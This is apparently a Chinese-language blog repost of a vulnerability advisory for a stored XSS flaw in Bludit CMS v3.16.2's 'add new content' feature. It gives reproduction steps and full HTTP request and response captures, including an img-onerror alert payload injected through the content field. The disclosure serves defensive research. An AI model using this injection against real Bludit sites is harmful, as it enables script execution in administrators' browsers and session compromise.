漏洞标题：Bludit v3.16.2"添加新内容"功能存储型XSS漏洞

日期：2025年7月

漏洞作者：Andrey Stoykov

版本：3.16.2

测试环境：Debian 12

博客：https://msecureltd.blogspot.com/

存储型XSS"添加新内容"功能漏洞#1：

复现步骤：

使用管理员账户登录并访问"新建内容"
在"源代码"字段输入以下参数 “<textarea>”
点击"预览"时XSS载荷将被触发

// 添加新内容的HTTP POST请求

POST /bludit/admin/new-content HTTP/1.1 Host: 192.168.58.133 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 […]

tokenCSRF=03a860fcc567fed86f6cb57e5877a469ef27e2ac&uuid=b219c568827ee49d5b8be839d6ab1043&type=published&coverImage=&content=<textarea><img+src%3d""+onerror%3d"alert(document.domain)">&category=&description=&date=2025-06-04+15%3A15%3A17&typeSelector=published&position=3&tags=&template=&externalCoverImage=&slug=xss&noindex=0&nofollow=0&noarchive=0&title=xss

// HTTP响应

HTTP/1.1 301 Moved Permanently Date: Wed, 04 Jun 2025 19:16:04 GMT Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3 X-Powered-By: Bludit Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: /bludit/admin/content Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

// 触发XSS的HTTP GET请求

GET /bludit/admin/edit-content/xss HTTP/1.1 Host: 192.168.58.133 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 […]

// HTTP响应

HTTP/1.0 200 OK Date: Wed, 04 Jun 2025 19:16:06 GMT Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3 X-Powered-By: Bludit Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8

[…]

<footer class="article-footer">
    
    <section class="article-tags">
        
            <a href="/tags/xss%E6%BC%8F%E6%B4%9E/">XSS漏洞</a>
        
            <a href="/tags/bludit/">Bludit</a>
        
            <a href="/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/">网络安全</a>
        
            <a href="/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/">漏洞分析</a>
        
    </section>

<span>Licensed under CC BY-NC-SA 4.0</span>
    </section>
    </footer>

</article>

<div class="article-details">
            <h2 class="article-title">MainWP插件文章创建模块存在反射型XSS漏洞分析</h2>
        </div>
    </a>
</article>

<div class="article-details">
            <h2 class="article-title">MHTML脚本注入漏洞技术细节与防护措施</h2>
        </div>
    </a>
</article>

<div class="article-details">
            <h2 class="article-title">微软安全情报报告(SIR)第13版技术解析：漏洞趋势与恶意软件防御</h2>
        </div>
    </a>
</article>

<div class="article-details">
            <h2 class="article-title">CS-Cart PDF插件未授权命令注入漏洞分析</h2>
        </div>
    </a>
</article>

<div class="article-details">
            <h2 class="article-title">Apache ActiveMQ远程代码执行漏洞(CVE-2023-46604)技术分析</h2>
        </div>
    </a>
</article>

</div>
    </div>
</aside>

<div class="disqus-container">
    <div id="disqus_thread"></div>
<script>
    window.disqus_config = function () {
    
    
    
    };
    (function() {
        if (["localhost", "127.0.0.1"].indexOf(window.location.hostname) != -1) {
            document.getElementById('disqus_thread').innerHTML = 'Disqus comments not available by default when the website is previewed locally.';
            return;
        }
        var d = document, s = d.createElement('script'); s.async = true;
        s.src = '//' + "hugo-theme-stack" + '.disqus.com/embed.js';
        s.setAttribute('data-timestamp', +new Date());
        (d.head || d.body).appendChild(s);
    })();
</script>
<noscript>Please enable JavaScript to view the <a href="https://disqus.com/?ref_noscript">comments powered by Disqus.</a></noscript>
<a href="https://disqus.com" class="dsq-brlink">comments powered by <span class="logo-disqus">Disqus</span></a>
</div>

使用 <a href="https://gohugo.io/" target="_blank" rel="noopener">Hugo</a> 构建 <br />
        主题 <b><a href="https://github.com/CaiJimmy/hugo-theme-stack" target="_blank" rel="noopener" data-version="3.30.0">Stack</a></b> 由 <a href="https://jimmycai.com" target="_blank" rel="noopener">Jimmy</a> 设计

<div class="busuanzi-footer">
      <span id="busuanzi_container_site_pv">
        本站总访问量<span id="busuanzi_value_site_pv"></span>次
      </span>
      <span id="busuanzi_container_site_uv">
        本站访客数<span id="busuanzi_value_site_uv"></span>人次
      </span>
    </div>

</section>

</footer>

</div>

</div><script 
                src="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe.min.js"integrity="sha256-ePwmChbbvXbsO02lbM3HoHbSHTHFAeChekF1xKJdleo="crossorigin="anonymous"
                defer
                >
            </script><script 
                src="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe-ui-default.min.js"integrity="sha256-UKkzOn/w1mBxRmLLGrSeyB4e1xbrp4xylgAWb3M42pU="crossorigin="anonymous"
                defer
                >
            </script><link 
                rel="stylesheet" 
                href="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/default-skin/default-skin.min.css"crossorigin="anonymous"
            ><link 
                rel="stylesheet" 
                href="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe.min.css"crossorigin="anonymous"
            >

</main>
        </div>
        <script 
                src="https://cdn.jsdelivr.net/npm/node-vibrant@3.1.6/dist/vibrant.min.js"integrity="sha256-awcR2jno4kI5X0zL8ex0vi2z+KMkF24hUW8WePSA9HM="crossorigin="anonymous"
                
                >
            </script><script type="text/javascript" src="/ts/main.313ab02d2f8415261a3718a5b3d0e35b62826b81a7f2c46c8122082f4cba0bcf.js" defer></script>
<script>
    (function () {
        const customFont = document.createElement('link');
        customFont.href = "https://fonts.googleapis.com/css2?family=Lato:wght@300;400;700&display=swap";

customFont.type = "text/css";
        customFont.rel = "stylesheet";

document.head.appendChild(customFont);
    }());
</script>

</body>
</html>

Bludit v3.16.2存储型XSS漏洞分析：通过"添加新内容"功能实现攻击

本文详细分析了Bludit CMS v3.16.2中存在的存储型XSS漏洞，攻击者可通过"添加新内容"功能注入恶意脚本，包含完整的漏洞复现步骤和HTTP请求/响应数据。